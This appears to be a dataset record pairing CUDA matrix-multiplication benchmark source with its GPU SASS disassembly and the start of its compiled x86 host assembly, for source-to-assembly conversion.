/* 0x040fe40007ffe0ff */
/*0160*/ LOP3.LUT R7, R4, 0x3, RZ, 0xc0, !PT ; /* 0x0000000304077812 */
/* 0x000fe400078ec0ff */
/*0170*/ ISETP.GE.U32.AND P0, PT, R6, 0x3, PT ; /* 0x000000030600780c */
/* 0x000fe40003f06070 */
/*0180*/ MOV R21, RZ ; /* 0x000000ff00157202 */
/* 0x000fe40000000f00 */
/*0190*/ MOV R6, RZ ; /* 0x000000ff00067202 */
/* 0x000fd20000000f00 */
/*01a0*/ @!P0 BRA 0xb50 ; /* 0x000009a000008947 */
/* 0x000fea0003800000 */
/*01b0*/ IADD3 R8, -R7, c[0x0][0x184], RZ ; /* 0x0000610007087a10 */
/* 0x000fe20007ffe1ff */
/*01c0*/ HFMA2.MMA R19, -RZ, RZ, 0, 2.384185791015625e-07 ; /* 0x00000004ff137435 */
/* 0x000fe200000001ff */
/*01d0*/ ULDC.64 UR6, c[0x0][0x160] ; /* 0x0000580000067ab9 */
/* 0x000fe20000000a00 */
/*01e0*/ HFMA2.MMA R6, -RZ, RZ, 0, 0 ; /* 0x00000000ff067435 */
/* 0x000fe200000001ff */
/*01f0*/ ISETP.GT.AND P0, PT, R8, RZ, PT ; /* 0x000000ff0800720c */
/* 0x000fe40003f04270 */
/*0200*/ MOV R21, RZ ; /* 0x000000ff00157202 */
/* 0x000fca0000000f00 */
/*0210*/ IMAD.WIDE R18, R2, R19, c[0x0][0x168] ; /* 0x00005a0002127625 */
/* 0x000fcc00078e0213 */
/*0220*/ @!P0 BRA 0x9c0 ; /* 0x0000079000008947 */
/* 0x000fea0003800000 */
/*0230*/ ISETP.GT.AND P1, PT, R8, 0xc, PT ; /* 0x0000000c0800780c */
/* 0x000fe40003f24270 */
/*0240*/ PLOP3.LUT P0, PT, PT, PT, PT, 0x80, 0x0 ; /* 0x000000000000781c */
/* 0x000fd60003f0f070 */
/*0250*/ @!P1 BRA 0x700 ; /* 0x000004a000009947 */
/* 0x000fea0003800000 */
/*0260*/ PLOP3.LUT P0, PT, PT, PT, PT, 0x8, 0x0 ; /* 0x000000000000781c */
/* 0x000fe40003f0e170 */
/*0270*/ MOV R12, UR6 ; /* 0x00000006000c7c02 */
/* 0x000fe20008000f00 */
/*0280*/ LDG.E R10, [R18.64] ; /* 0x00000004120a7981 */
/* 0x0000a2000c1e1900 */
/*0290*/ MOV R13, UR7 ; /* 0x00000007000d7c02 */
/* 0x000fca0008000f00 */
/*02a0*/ IMAD.WIDE R12, R5, 0x4, R12 ; /* 0x00000004050c7825 */
/* 0x000fc800078e020c */
/*02b0*/ IMAD.WIDE R22, R4.reuse, 0x4, R18 ; /* 0x0000000404167825 */
/* 0x040fe200078e0212 */
/*02c0*/ LDG.E R25, [R12.64] ; /* 0x000000040c197981 */
/* 0x000ea8000c1e1900 */
/*02d0*/ LDG.E R24, [R22.64] ; /* 0x0000000416187981 */
/* 0x0002e8000c1e1900 */
/*02e0*/ LDG.E R11, [R12.64+0x4] ; /* 0x000004040c0b7981 */
/* 0x000ee8000c1e1900 */
/*02f0*/ LDG.E R14, [R12.64+0x8] ; /* 0x000008040c0e7981 */
/* 0x000f22000c1e1900 */
/*0300*/ IMAD.WIDE R22, R4, 0x4, R22 ; /* 0x0000000404167825 */
/* 0x002fc600078e0216 */
/*0310*/ LDG.E R19, [R12.64+0x10] ; /* 0x000010040c137981 */
/* 0x001f68000c1e1900 */
/*0320*/ LDG.E R15, [R22.64] ; /* 0x00000004160f7981 */
/* 0x000122000c1e1900 */
/*0330*/ IMAD.WIDE R16, R4, 0x4, R22 ; /* 0x0000000404107825 */
/* 0x000fc600078e0216 */
/*0340*/ LDG.E R9, [R12.64+0x14] ; /* 0x000014040c097981 */
/* 0x000f66000c1e1900 */
/*0350*/ IMAD.WIDE R26, R4.reuse, 0x4, R16 ; /* 0x00000004041a7825 */
/* 0x040fe400078e0210 */
/*0360*/ LDG.E R16, [R16.64] ; /* 0x0000000410107981 */
/* 0x000368000c1e1900 */
/*0370*/ IMAD.WIDE R28, R4.reuse, 0x4, R26 ; /* 0x00000004041c7825 */
/* 0x040fe200078e021a */
/*0380*/ LDG.E R18, [R26.64] ; /* 0x000000041a127981 */
/* 0x000168000c1e1900 */
/*0390*/ LDG.E R20, [R28.64] ; /* 0x000000041c147981 */
/* 0x000968000c1e1900 */
/*03a0*/ LDG.E R17, [R12.64+0xc] ; /* 0x00000c040c117981 */
/* 0x002f62000c1e1900 */
/*03b0*/ IMAD.WIDE R22, R4, 0x4, R28 ; /* 0x0000000404167825 */
/* 0x001fc600078e021c */
/*03c0*/ LDG.E R26, [R12.64+0x1c] ; /* 0x00001c040c1a7981 */
/* 0x000f62000c1e1900 */
/*03d0*/ FFMA R25, R10, R25, R21 ; /* 0x000000190a197223 */
/* 0x004fc60000000015 */
/*03e0*/ LDG.E R10, [R22.64] ; /* 0x00000004160a7981 */
/* 0x0000a8000c1e1900 */
/*03f0*/ LDG.E R21, [R12.64+0x18] ; /* 0x000018040c157981 */
/* 0x000ea2000c1e1900 */
/*0400*/ IMAD.WIDE R22, R4, 0x4, R22 ; /* 0x0000000404167825 */
/* 0x001fc800078e0216 */
/*0410*/ FFMA R27, R24, R11, R25 ; /* 0x0000000b181b7223 */
/* 0x008fe40000000019 */
/*0420*/ IMAD.WIDE R24, R4.reuse, 0x4, R22 ; /* 0x0000000404187825 */
/* 0x040fe200078e0216 */
/*0430*/ LDG.E R11, [R22.64] ; /* 0x00000004160b7981 */
/* 0x0000e6000c1e1900 */
/*0440*/ FFMA R29, R15, R14, R27 ; /* 0x0000000e0f1d7223 */
/* 0x010fe2000000001b */
/*0450*/ LDG.E R28, [R24.64] ; /* 0x00000004181c7981 */
/* 0x000328000c1e1900 */
/*0460*/ LDG.E R27, [R12.64+0x20] ; /* 0x000020040c1b7981 */
/* 0x000f22000c1e1900 */
/*0470*/ IMAD.WIDE R14, R4, 0x4, R24 ; /* 0x00000004040e7825 */
/* 0x000fc600078e0218 */
/*0480*/ LDG.E R25, [R12.64+0x28] ; /* 0x000028040c197981 */
/* 0x002f22000c1e1900 */
/*0490*/ FFMA R29, R16, R17, R29 ; /* 0x00000011101d7223 */
/* 0x020fe4000000001d */
/*04a0*/ IMAD.WIDE R16, R4, 0x4, R14 ; /* 0x0000000404107825 */
/* 0x000fe400078e020e */
/*04b0*/ LDG.E R14, [R14.64] ; /* 0x000000040e0e7981 */
/* 0x000364000c1e1900 */
/*04c0*/ FFMA R29, R18, R19, R29 ; /* 0x00000013121d7223 */
/* 0x000fe4000000001d */
/*04d0*/ IMAD.WIDE R18, R4, 0x4, R16 ; /* 0x0000000404127825 */
/* 0x000fe400078e0210 */
/*04e0*/ LDG.E R16, [R16.64] ; /* 0x0000000410107981 */
/* 0x000364000c1e1900 */
/*04f0*/ FFMA R20, R20, R9, R29 ; /* 0x0000000914147223 */
/* 0x000fc4000000001d */
/*0500*/ LDG.E R9, [R12.64+0x24] ; /* 0x000024040c097981 */
/* 0x000f62000c1e1900 */
/*0510*/ IMAD.WIDE R22, R4, 0x4, R18 ; /* 0x0000000404167825 */
/* 0x001fc600078e0212 */
/*0520*/ LDG.E R24, [R18.64] ; /* 0x0000000412187981 */
/* 0x000768000c1e1900 */
/*0530*/ LDG.E R15, [R12.64+0x2c] ; /* 0x00002c040c0f7981 */
/* 0x002f68000c1e1900 */
/*0540*/ LDG.E R29, [R22.64] ; /* 0x00000004161d7981 */
/* 0x000162000c1e1900 */
/*0550*/ FFMA R10, R10, R21, R20 ; /* 0x000000150a0a7223 */
/* 0x004fe40000000014 */
/*0560*/ IMAD.WIDE R20, R4, 0x4, R22 ; /* 0x0000000404147825 */
/* 0x000fc400078e0216 */
/*0570*/ LDG.E R22, [R12.64+0x38] ; /* 0x000038040c167981 */
/* 0x001ea8000c1e1900 */
/*0580*/ LDG.E R17, [R20.64] ; /* 0x0000000414117981 */
/* 0x0008a2000c1e1900 */
/*0590*/ FFMA R18, R11, R26, R10 ; /* 0x0000001a0b127223 */
/* 0x008fc6000000000a */
/*05a0*/ LDG.E R26, [R12.64+0x30] ; /* 0x000030040c1a7981 */
/* 0x000ee2000c1e1900 */
/*05b0*/ IMAD.WIDE R10, R4, 0x4, R20 ; /* 0x00000004040a7825 */
/* 0x000fc800078e0214 */
/*05c0*/ FFMA R20, R28, R27, R18 ; /* 0x0000001b1c147223 */
/* 0x010fe40000000012 */
/*05d0*/ LDG.E R28, [R12.64+0x34] ; /* 0x000034040c1c7981 */
/* 0x000ea2000c1e1900 */
/*05e0*/ IMAD.WIDE R18, R4, 0x4, R10 ; /* 0x0000000404127825 */
/* 0x000fc600078e020a */
/*05f0*/ LDG.E R27, [R10.64] ; /* 0x000000040a1b7981 */
/* 0x000128000c1e1900 */
/*0600*/ LDG.E R23, [R18.64] ; /* 0x0000000412177981 */
/* 0x000328000c1e1900 */
/*0610*/ LDG.E R10, [R12.64+0x3c] ; /* 0x00003c040c0a7981 */
/* 0x001f22000c1e1900 */
/*0620*/ IADD3 R8, R8, -0x10, RZ ; /* 0xfffffff008087810 */
/* 0x000fe20007ffe0ff */
/*0630*/ FFMA R9, R14, R9, R20 ; /* 0x000000090e097223 */
/* 0x020fc80000000014 */
/*0640*/ FFMA R9, R16, R25, R9 ; /* 0x0000001910097223 */
/* 0x000fe20000000009 */
/*0650*/ ISETP.GT.AND P1, PT, R8, 0xc, PT ; /* 0x0000000c0800780c */
/* 0x000fc60003f24270 */
/*0660*/ FFMA R9, R24, R15, R9 ; /* 0x0000000f18097223 */
/* 0x000fe20000000009 */
/*0670*/ UIADD3 UR6, UP0, UR6, 0x40, URZ ; /* 0x0000004006067890 */
/* 0x000fe2000ff1e03f */
/*0680*/ IADD3 R6, R6, 0x10, RZ ; /* 0x0000001006067810 */
/* 0x000fc60007ffe0ff */
/*0690*/ UIADD3.X UR7, URZ, UR7, URZ, UP0, !UPT ; /* 0x000000073f077290 */
/* 0x000fe200087fe43f */
/*06a0*/ IMAD.WIDE R18, R4, 0x4, R18 ; /* 0x0000000404127825 */
/* 0x002fc800078e0212 */
/*06b0*/ FFMA R9, R29, R26, R9 ; /* 0x0000001a1d097223 */
/* 0x008fc80000000009 */
/*06c0*/ FFMA R9, R17, R28, R9 ; /* 0x0000001c11097223 */
/* 0x004fc80000000009 */
/*06d0*/ FFMA R9, R27, R22, R9 ; /* 0x000000161b097223 */
/* 0x010fc80000000009 */
/*06e0*/ FFMA R21, R23, R10, R9 ; /* 0x0000000a17157223 */
/* 0x000fe20000000009 */
/*06f0*/ @P1 BRA 0x270 ; /* 0xfffffb7000001947 */
/* 0x000fea000383ffff */
/*0700*/ ISETP.GT.AND P1, PT, R8, 0x4, PT ; /* 0x000000040800780c */
/* 0x000fda0003f24270 */
/*0710*/ @!P1 BRA 0x9a0 ; /* 0x0000028000009947 */
/* 0x000fea0003800000 */
/*0720*/ MOV R10, UR6 ; /* 0x00000006000a7c02 */
/* 0x000fe20008000f00 */
/*0730*/ LDG.E R20, [R18.64] ; /* 0x0000000412147981 */
/* 0x0000a2000c1e1900 */
/*0740*/ MOV R11, UR7 ; /* 0x00000007000b7c02 */
/* 0x000fca0008000f00 */
/*0750*/ IMAD.WIDE R10, R5, 0x4, R10 ; /* 0x00000004050a7825 */
/* 0x000fca00078e020a */
/*0760*/ LDG.E R9, [R10.64] ; /* 0x000000040a097981 */
/* 0x000ea2000c1e1900 */
/*0770*/ IMAD.WIDE R22, R4, 0x4, R18 ; /* 0x0000000404167825 */
/* 0x000fc600078e0212 */
/*0780*/ LDG.E R25, [R10.64+0x4] ; /* 0x000004040a197981 */
/* 0x000ee6000c1e1900 */
/*0790*/ IMAD.WIDE R12, R4.reuse, 0x4, R22 ; /* 0x00000004040c7825 */
/* 0x040fe200078e0216 */
/*07a0*/ LDG.E R24, [R22.64] ; /* 0x0000000416187981 */
/* 0x0002e8000c1e1900 */
/*07b0*/ LDG.E R26, [R12.64] ; /* 0x000000040c1a7981 */
/* 0x000962000c1e1900 */
/*07c0*/ IMAD.WIDE R14, R4, 0x4, R12 ; /* 0x00000004040e7825 */
/* 0x000fc600078e020c */
/*07d0*/ LDG.E R27, [R10.64+0x8] ; /* 0x000008040a1b7981 */
/* 0x000f66000c1e1900 */
/*07e0*/ IMAD.WIDE R16, R4.reuse, 0x4, R14 ; /* 0x0000000404107825 */
/* 0x040fe200078e020e */
/*07f0*/ LDG.E R29, [R10.64+0xc] ; /* 0x00000c040a1d7981 */
/* 0x000f68000c1e1900 */
/*0800*/ LDG.E R14, [R14.64] ; /* 0x000000040e0e7981 */
/* 0x000962000c1e1900 */
/*0810*/ IMAD.WIDE R18, R4, 0x4, R16 ; /* 0x0000000404127825 */
/* 0x001fc600078e0210 */
/*0820*/ LDG.E R16, [R16.64] ; /* 0x0000000410107981 */
/* 0x000166000c1e1900 */
/*0830*/ IMAD.WIDE R22, R4.reuse, 0x4, R18 ; /* 0x0000000404167825 */
/* 0x042fe200078e0212 */
/*0840*/ LDG.E R28, [R18.64] ; /* 0x00000004121c7981 */
/* 0x000368000c1e1900 */
/*0850*/ LDG.E R15, [R10.64+0x10] ; /* 0x000010040a0f7981 */
/* 0x010f22000c1e1900 */
/*0860*/ IMAD.WIDE R12, R4, 0x4, R22 ; /* 0x00000004040c7825 */
/* 0x000fc600078e0216 */
/*0870*/ LDG.E R18, [R10.64+0x1c] ; /* 0x00001c040a127981 */
/* 0x002f28000c1e1900 */
/*0880*/ LDG.E R17, [R12.64] ; /* 0x000000040c117981 */
/* 0x001f22000c1e1900 */
/*0890*/ FFMA R19, R20, R9, R21 ; /* 0x0000000914137223 */
/* 0x004fc60000000015 */
/*08a0*/ LDG.E R21, [R10.64+0x14] ; /* 0x000014040a157981 */
/* 0x000ea8000c1e1900 */
/*08b0*/ LDG.E R9, [R22.64] ; /* 0x0000000416097981 */
/* 0x000ea8000c1e1900 */
/*08c0*/ LDG.E R20, [R10.64+0x18] ; /* 0x000018040a147981 */
/* 0x000ea2000c1e1900 */
/*08d0*/ FFMA R24, R24, R25, R19 ; /* 0x0000001918187223 */
/* 0x008fc80000000013 */
/*08e0*/ FFMA R24, R26, R27, R24 ; /* 0x0000001b1a187223 */
/* 0x020fc80000000018 */
/*08f0*/ FFMA R14, R14, R29, R24 ; /* 0x0000001d0e0e7223 */
/* 0x000fc80000000018 */
/*0900*/ FFMA R14, R16, R15, R14 ; /* 0x0000000f100e7223 */
/* 0x010fe2000000000e */
/*0910*/ UIADD3 UR6, UP0, UR6, 0x20, URZ ; /* 0x0000002006067890 */
/* 0x000fe2000ff1e03f */
/*0920*/ PLOP3.LUT P0, PT, PT, PT, PT, 0x8, 0x0 ; /* 0x000000000000781c */
/* 0x000fe40003f0e170 */
/*0930*/ IADD3 R6, R6, 0x8, RZ ; /* 0x0000000806067810 */
/* 0x000fe40007ffe0ff */
/*0940*/ IADD3 R8, R8, -0x8, RZ ; /* 0xfffffff808087810 */
/* 0x000fe20007ffe0ff */
/*0950*/ UIADD3.X UR7, URZ, UR7, URZ, UP0, !UPT ; /* 0x000000073f077290 */
/* 0x000fe200087fe43f */
/*0960*/ FFMA R14, R28, R21, R14 ; /* 0x000000151c0e7223 */
/* 0x004fc8000000000e */
/*0970*/ FFMA R9, R9, R20, R14 ; /* 0x0000001409097223 */
/* 0x000fc8000000000e */
/*0980*/ FFMA R21, R17, R18, R9 ; /* 0x0000001211157223 */
/* 0x000fe40000000009 */
/*0990*/ IMAD.WIDE R18, R4, 0x4, R12 ; /* 0x0000000404127825 */
/* 0x000fc800078e020c */
/*09a0*/ ISETP.NE.OR P0, PT, R8, RZ, P0 ; /* 0x000000ff0800720c */
/* 0x000fda0000705670 */
/*09b0*/ @!P0 BRA 0xb50 ; /* 0x0000019000008947 */
/* 0x000fea0003800000 */
/*09c0*/ MOV R10, UR6 ; /* 0x00000006000a7c02 */
/* 0x000fe20008000f00 */
/*09d0*/ IMAD.WIDE R12, R4, 0x4, R18 ; /* 0x00000004040c7825 */
/* 0x000fe200078e0212 */
/*09e0*/ MOV R11, UR7 ; /* 0x00000007000b7c02 */
/* 0x000fe20008000f00 */
/*09f0*/ LDG.E R18, [R18.64] ; /* 0x0000000412127981 */
/* 0x000ea8000c1e1900 */
/*0a00*/ IMAD.WIDE R10, R5, 0x4, R10 ; /* 0x00000004050a7825 */
/* 0x000fc800078e020a */
/*0a10*/ IMAD.WIDE R14, R4.reuse, 0x4, R12 ; /* 0x00000004040e7825 */
/* 0x040fe200078e020c */
/*0a20*/ LDG.E R9, [R10.64] ; /* 0x000000040a097981 */
/* 0x000ea8000c1e1900 */
/*0a30*/ LDG.E R12, [R12.64] ; /* 0x000000040c0c7981 */
/* 0x000ee2000c1e1900 */
/*0a40*/ IMAD.WIDE R16, R4, 0x4, R14 ; /* 0x0000000404107825 */
/* 0x000fc600078e020e */
/*0a50*/ LDG.E R20, [R10.64+0x4] ; /* 0x000004040a147981 */
/* 0x000ee8000c1e1900 */
/*0a60*/ LDG.E R22, [R14.64] ; /* 0x000000040e167981 */
/* 0x000f28000c1e1900 */
/*0a70*/ LDG.E R23, [R10.64+0x8] ; /* 0x000008040a177981 */
/* 0x000f28000c1e1900 */
/*0a80*/ LDG.E R25, [R10.64+0xc] ; /* 0x00000c040a197981 */
/* 0x000f68000c1e1900 */
/*0a90*/ LDG.E R24, [R16.64] ; /* 0x0000000410187981 */
/* 0x000f62000c1e1900 */
/*0aa0*/ IADD3 R8, R8, -0x4, RZ ; /* 0xfffffffc08087810 */
/* 0x000fc80007ffe0ff */
/*0ab0*/ ISETP.NE.AND P0, PT, R8, RZ, PT ; /* 0x000000ff0800720c */
/* 0x000fe20003f05270 */
/*0ac0*/ UIADD3 UR6, UP0, UR6, 0x10, URZ ; /* 0x0000001006067890 */
/* 0x000fe2000ff1e03f */
/*0ad0*/ IADD3 R6, R6, 0x4, RZ ; /* 0x0000000406067810 */
/* 0x000fc60007ffe0ff */
/*0ae0*/ UIADD3.X UR7, URZ, UR7, URZ, UP0, !UPT ; /* 0x000000073f077290 */
/* 0x000fe200087fe43f */
/*0af0*/ FFMA R9, R18, R9, R21 ; /* 0x0000000912097223 */
/* 0x004fc80000000015 */
/*0b00*/ FFMA R9, R12, R20, R9 ; /* 0x000000140c097223 */
/* 0x008fe40000000009 */
/*0b10*/ IMAD.WIDE R18, R4, 0x4, R16 ; /* 0x0000000404127825 */
/* 0x000fc800078e0210 */
/*0b20*/ FFMA R9, R22, R23, R9 ; /* 0x0000001716097223 */
/* 0x010fc80000000009 */
/*0b30*/ FFMA R21, R24, R25, R9 ; /* 0x0000001918157223 */
/* 0x020fe20000000009 */
/*0b40*/ @P0 BRA 0x9c0 ; /* 0xfffffe7000000947 */
/* 0x000fea000383ffff */
/*0b50*/ ISETP.NE.AND P0, PT, R7, RZ, PT ; /* 0x000000ff0700720c */
/* 0x000fda0003f05270 */
/*0b60*/ @!P0 BRA 0xc90 ; /* 0x0000012000008947 */
/* 0x000fea0003800000 */
/*0b70*/ HFMA2.MMA R10, -RZ, RZ, 0, 2.384185791015625e-07 ; /* 0x00000004ff0a7435 */
/* 0x000fe200000001ff */
/*0b80*/ IADD3 R8, R5, R6, RZ ; /* 0x0000000605087210 */
/* 0x000fe20007ffe0ff */
/*0b90*/ IMAD R3, R6, c[0x0][0x184], R3 ; /* 0x0000610006037a24 */
/* 0x000fc800078e0203 */
/*0ba0*/ IMAD R3, R0, c[0x0][0x17c], R3 ; /* 0x00005f0000037a24 */
/* 0x000fc800078e0203 */
/*0bb0*/ IMAD.WIDE R8, R8, R10, c[0x0][0x160] ; /* 0x0000580008087625 */
/* 0x000fca00078e020a */
/*0bc0*/ MOV R6, R8 ; /* 0x0000000800067202 */
/* 0x000fe40000000f00 */
/*0bd0*/ MOV R11, R9 ; /* 0x00000009000b7202 */
/* 0x000fe20000000f00 */
/*0be0*/ IMAD.WIDE R8, R3, R10, c[0x0][0x168] ; /* 0x00005a0003087625 */
/* 0x000fc800078e020a */
/*0bf0*/ MOV R10, R6 ; /* 0x00000006000a7202 */
/* 0x000fe20000000f00 */
/*0c00*/ LDG.E R0, [R8.64] ; /* 0x0000000408007981 */
/* 0x0000a8000c1e1900 */
/*0c10*/ LDG.E R3, [R10.64] ; /* 0x000000040a037981 */
/* 0x0002a2000c1e1900 */
/*0c20*/ IADD3 R7, R7, -0x1, RZ ; /* 0xffffffff07077810 */
/* 0x000fe40007ffe0ff */
/*0c30*/ IADD3 R6, P1, R6, 0x4, RZ ; /* 0x0000000406067810 */
/* 0x000fc40007f3e0ff */
/*0c40*/ ISETP.NE.AND P0, PT, R7, RZ, PT ; /* 0x000000ff0700720c */
/* 0x000fe20003f05270 */
/*0c50*/ IMAD.WIDE R8, R4, 0x4, R8 ; /* 0x0000000404087825 */
/* 0x001fe200078e0208 */
/*0c60*/ IADD3.X R11, RZ, R11, RZ, P1, !PT ; /* 0x0000000bff0b7210 */
/* 0x002fc60000ffe4ff */
/*0c70*/ FFMA R21, R0, R3, R21 ; /* 0x0000000300157223 */
/* 0x004fd00000000015 */
/*0c80*/ @P0 BRA 0xbf0 ; /* 0xffffff6000000947 */
/* 0x000fea000383ffff */
/*0c90*/ IADD3 R2, R2, R5, RZ ; /* 0x0000000502027210 */
/* 0x000fe40007ffe0ff */
/*0ca0*/ MOV R3, 0x4 ; /* 0x0000000400037802 */
/* 0x000fca0000000f00 */
/*0cb0*/ IMAD.WIDE R2, R2, R3, c[0x0][0x170] ; /* 0x00005c0002027625 */
/* 0x000fca00078e0203 */
/*0cc0*/ STG.E [R2.64], R21 ; /* 0x0000001502007986 */
/* 0x000fe2000c101904 */
/*0cd0*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*0ce0*/ BRA 0xce0; /* 0xfffffff000007947 */
/* 0x000fc0000383ffff */
/*0cf0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0d00*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0d10*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0d20*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0d30*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0d40*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0d50*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0d60*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0d70*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
.......... |
You are a helpful coding assistant specialized in converting CUDA source code to CUDA host assembly. | #include <cuda.h>
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#define NANO 1000000000
#define PGSIZE 0x1000
#define SUBSIZE 1000
#define BLOCK 8
#define GRID 128
int size;
float *matrixA, *matrixB, *matrixBT, *matrixC_serial, *matrixC_cuda;
__global__
void cudaMatMul(float *A_d, float *B_d, float *C_d, int x, int y, int n, int size)
{
int i = n * x + blockIdx.x * blockDim.x + threadIdx.x;
int j = n * y + blockIdx.y * blockDim.y + threadIdx.y;
float value = 0.0;
if (i >= n * (x + 1) || j >= n * (y + 1))
return;
for (int k = 0; k < size; k++)
value += A_d[i * size + k] * B_d[k * size + j];
C_d[i * size + j] = value;
return;
}
float *make_matrix(int size)
{
float *matrix = (float *) malloc(sizeof(float) * size * size);
if (matrix == NULL)
{
perror("malloc");
exit(0);
}
if (malloc(PGSIZE) == NULL)
{
perror("malloc");
exit(0);
}
return matrix;
}
void set_matrix(float *matrix, int size)
{
for (int i = 0; i < size; i++)
{
for (int j = 0; j < size; j++)
matrix[i * size + j] = (float) drand48();
}
}
void print_matrix(double *matrix, int size)
{
printf("[");
for (int i = 0; i < size; i++)
{
for (int j = 0; j < size; j++)
printf(" %f", matrix[i * size + j]);
printf(";");
}
printf(" ]\n");
}
void cuda_mmul(float *A, float *B, float *C, int size)
{
int mem_size = sizeof(float) * size * size;
float *A_d, *B_d, *C_d;
dim3 dimBlock(BLOCK, BLOCK);
dim3 dimGrid(GRID, GRID);
cudaMalloc((void **) &A_d, mem_size);
cudaMemcpy(A_d, A, mem_size, cudaMemcpyHostToDevice);
cudaMalloc((void **) &B_d, mem_size);
cudaMemcpy(B_d, B, mem_size, cudaMemcpyHostToDevice);
cudaMalloc((void **) &C_d, mem_size);
for (int i = 0; i < size / SUBSIZE; i++)
{
for (int j = 0; j < size / SUBSIZE; j++)
cudaMatMul<<<dimGrid, dimBlock>>>(A_d, B_d, C_d, i, j, SUBSIZE, size);
}
cudaMemcpy(C, C_d, mem_size, cudaMemcpyDeviceToHost);
cudaFree(A_d);
cudaFree(B_d);
cudaFree(C_d);
}
void serial_mmul(float *matrixA, float *matrixB, float *matrixC)
{
for (int i = 0; i < size; i++)
{
for (int j = 0; j < size; j++)
{
matrixC[i * size + j] = 0.0;
for (int k = 0; k < size; k++)
matrixC[i * size + j] += matrixA[i * size + k] * matrixB[k * size + j];
}
}
}
int main(int argc, char **argv, char **envp)
{
int opt;
struct timespec tstart, tend;
while ((opt = getopt(argc, argv, "n:p:")) != -1)
{
switch (opt)
{
case 'n':
size = atoi(optarg);
break;
case '?':
printf("Usage: %s -n N\n", argv[0]);
exit(0);
}
}
if (size <= 0)
{
printf("Usage: %s -n N\n", argv[0]);
exit(0);
}
matrixA = make_matrix(size);
matrixB = make_matrix(size);
matrixC_serial = make_matrix(size);
matrixC_cuda = make_matrix(size);
srand48(time(NULL));
set_matrix(matrixA, size);
set_matrix(matrixB, size);
printf("Multi Thread Computation Start\n");
if (clock_gettime(CLOCK_MONOTONIC, &tstart) == -1)
{
perror("clock_gettime");
exit(0);
}
cuda_mmul(matrixA, matrixB, matrixC_cuda, size);
if (clock_gettime(CLOCK_MONOTONIC, &tend) == -1)
{
perror("clock_gettime");
exit(0);
}
long start_nsec = tstart.tv_sec * NANO + tstart.tv_nsec;
long end_nsec = tend.tv_sec * NANO + tend.tv_nsec;
double microsec = (end_nsec - start_nsec) / 1000.0;
printf("Multi Thread Computation End: %.3f us.\n", microsec);
printf("Single Thread Computation Start\n");
if (clock_gettime(CLOCK_MONOTONIC, &tstart) == -1)
{
perror("clock_gettime");
exit(0);
}
serial_mmul(matrixA, matrixB, matrixC_serial);
if (clock_gettime(CLOCK_MONOTONIC, &tend) == -1)
{
perror("clock_gettime");
exit(0);
}
start_nsec = tstart.tv_sec * NANO + tstart.tv_nsec;
end_nsec = tend.tv_sec * NANO + tend.tv_nsec;
microsec = (end_nsec - start_nsec) / 1000.0;
printf("Single Thread Computation End: %.3f us.\n", microsec);
for (int i = 0; i < size; i++)
{
for (int j = 0; j < size; j++)
{
if (fabs(matrixC_cuda[i * size + j] - matrixC_serial[i * size + j]) > 1e-3)
{
printf("Verification Fail.\n");
printf("(%d, %d): %f - %f\n", i, j, matrixC_cuda[i * size + j], matrixC_serial[i * size + j]);
}
}
}
printf("Verification Success.\n");
// print_matrix(matrixA, size);
// print_matrix(matrixB, size);
// print_matrix(matrixC, size);
return 0;
} | .file "tmpxft_00144996_00000000-6_prob1.cudafe1.cpp"
.text
#APP
#NO_APP
.type _ZL26__cudaUnregisterBinaryUtilv, @function
_ZL26__cudaUnregisterBinaryUtilv:
.LFB2078:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaUnregisterFatBinary@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2078:
.size _ZL26__cudaUnregisterBinaryUtilv, .-_ZL26__cudaUnregisterBinaryUtilv
.section .rodata.str1.1,"aMS",@progbits,1
.LC0:
.string "malloc"
.text
.globl _Z11make_matrixi
.type _Z11make_matrixi, @function
_Z11make_matrixi:
.LFB2070:
.cfi_startproc
endbr64
pushq %rbx
.cfi_def_cfa_offset 16
.cfi_offset 3, -16
movslq %edi, %rdi
imulq %rdi, %rdi
salq $2, %rdi
call malloc@PLT
testq %rax, %rax
je .L7
movq %rax, %rbx
movl $4096, %edi
call malloc@PLT
testq %rax, %rax
je .L8
movq %rbx, %rax
popq %rbx
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L7:
.cfi_restore_state
leaq .LC0(%rip), %rdi
call perror@PLT
movl $0, %edi
call exit@PLT
.L8:
leaq .LC0(%rip), %rdi
call perror@PLT
movl $0, %edi
call exit@PLT
.cfi_endproc
.LFE2070:
.size _Z11make_matrixi, .-_Z11make_matrixi
.globl _Z10set_matrixPfi
.type _Z10set_matrixPfi, @function
_Z10set_matrixPfi:
.LFB2071:
.cfi_startproc
endbr64
testl %esi, %esi
jle .L15
pushq %r15
.cfi_def_cfa_offset 16
.cfi_offset 15, -16
pushq %r14
.cfi_def_cfa_offset 24
.cfi_offset 14, -24
pushq %r13
.cfi_def_cfa_offset 32
.cfi_offset 13, -32
pushq %r12
.cfi_def_cfa_offset 40
.cfi_offset 12, -40
pushq %rbp
.cfi_def_cfa_offset 48
.cfi_offset 6, -48
pushq %rbx
.cfi_def_cfa_offset 56
.cfi_offset 3, -56
subq $8, %rsp
.cfi_def_cfa_offset 64
movl %esi, %r14d
movslq %esi, %r13
leaq 0(,%r13,4), %r15
leaq (%rdi,%r15), %rbp
negq %r13
salq $2, %r13
movl $0, %r12d
.L11:
leaq 0(%rbp,%r13), %rbx
.L12:
call drand48@PLT
cvtsd2ss %xmm0, %xmm0
movss %xmm0, (%rbx)
addq $4, %rbx
cmpq %rbp, %rbx
jne .L12
addl $1, %r12d
addq %r15, %rbp
cmpl %r12d, %r14d
jne .L11
addq $8, %rsp
.cfi_def_cfa_offset 56
popq %rbx
